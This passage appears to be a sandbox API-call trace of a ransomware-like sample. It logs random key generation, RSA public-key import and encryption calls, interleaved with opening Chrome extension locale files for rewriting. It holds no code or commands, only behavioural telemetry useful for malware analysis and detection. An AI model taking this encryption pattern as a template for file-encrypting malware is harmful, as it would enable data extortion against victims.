pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.000] CryptEncrypt (in: hKey=0x66ad2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa440000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa440000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.001] GetLastError () returned 0x0 [0240.001] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.001] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.002] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad5b8) returned 1 [0240.002] CryptGetKeyParam (in: hKey=0x66ad5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.002] CryptEncrypt (in: hKey=0x66ad5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa450000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa450000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.003] GetLastError () returned 0x0 [0240.003] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.003] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.004] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.008] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.008] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.008] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.008] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.011] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.011] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.011] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.011] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.015] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad238) returned 1 [0240.016] CryptGetKeyParam (in: hKey=0x66ad238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.016] CryptEncrypt (in: hKey=0x66ad238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa460000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa460000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.016] GetLastError () returned 0x0 [0240.016] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.016] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.017] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad1f8) returned 1 [0240.017] CryptGetKeyParam (in: hKey=0x66ad1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.018] CryptEncrypt (in: hKey=0x66ad1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa470000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa470000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.018] GetLastError () returned 0x0 [0240.018] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.018] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.018] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.021] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.022] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.022] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.022] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.022] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.025] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.026] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.026] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.026] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.026] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.029] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad4b8) returned 1 [0240.029] CryptGetKeyParam (in: hKey=0x66ad4b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.029] CryptEncrypt (in: hKey=0x66ad4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa480000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa480000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.029] GetLastError () returned 0x0 [0240.029] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.029] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.031] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad338) returned 1 [0240.031] CryptGetKeyParam (in: hKey=0x66ad338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.031] CryptEncrypt (in: hKey=0x66ad338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa490000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa490000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.032] GetLastError () returned 0x0 [0240.032] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.032] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.033] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.037] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.037] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.037] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.041] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.041] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.044] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad838) returned 1 [0240.044] CryptGetKeyParam (in: hKey=0x66ad838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.044] CryptEncrypt (in: hKey=0x66ad838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa4a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa4a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.044] GetLastError () returned 0x0 [0240.044] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.044] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.046] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad6f8) returned 1 [0240.046] CryptGetKeyParam (in: hKey=0x66ad6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.046] CryptEncrypt (in: hKey=0x66ad6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa4b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa4b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.046] GetLastError () returned 0x0 [0240.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.047] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.047] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.050] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.051] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.051] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.051] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.051] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.055] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.055] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.055] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.055] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.057] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad178) returned 1 [0240.057] CryptGetKeyParam (in: hKey=0x66ad178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.057] CryptEncrypt (in: hKey=0x66ad178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa4c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa4c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.057] GetLastError () returned 0x0 [0240.057] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.057] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.059] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad738) returned 1 [0240.059] CryptGetKeyParam (in: hKey=0x66ad738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.059] CryptEncrypt (in: hKey=0x66ad738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa4d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa4d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.059] GetLastError () returned 0x0 [0240.059] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.059] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.060] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.063] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.064] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.064] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.064] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.064] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.066] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.068] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.068] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.068] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.070] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad0b8) returned 1 [0240.070] CryptGetKeyParam (in: hKey=0x66ad0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.070] CryptEncrypt (in: hKey=0x66ad0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa4e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa4e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.071] GetLastError () returned 0x0 [0240.071] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.071] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.072] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad438) returned 1 [0240.072] CryptGetKeyParam (in: hKey=0x66ad438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.072] CryptEncrypt (in: hKey=0x66ad438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa4f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa4f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.073] GetLastError () returned 0x0 [0240.073] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.073] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.073] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.076] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.077] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.078] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.078] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.078] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.080] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.081] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.081] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.081] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.081] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.084] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad278) returned 1 [0240.084] CryptGetKeyParam (in: hKey=0x66ad278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.084] CryptEncrypt (in: hKey=0x66ad278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa500000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa500000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.084] GetLastError () returned 0x0 [0240.084] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.084] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.086] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad678) returned 1 [0240.086] CryptGetKeyParam (in: hKey=0x66ad678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.086] CryptEncrypt (in: hKey=0x66ad678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa510000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa510000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.086] GetLastError () returned 0x0 [0240.086] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.086] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.087] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.090] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.093] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.093] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.093] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.095] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.097] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.097] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.099] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad478) returned 1 [0240.099] CryptGetKeyParam (in: hKey=0x66ad478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.099] CryptEncrypt (in: hKey=0x66ad478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa520000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa520000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.099] GetLastError () returned 0x0 [0240.099] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.099] 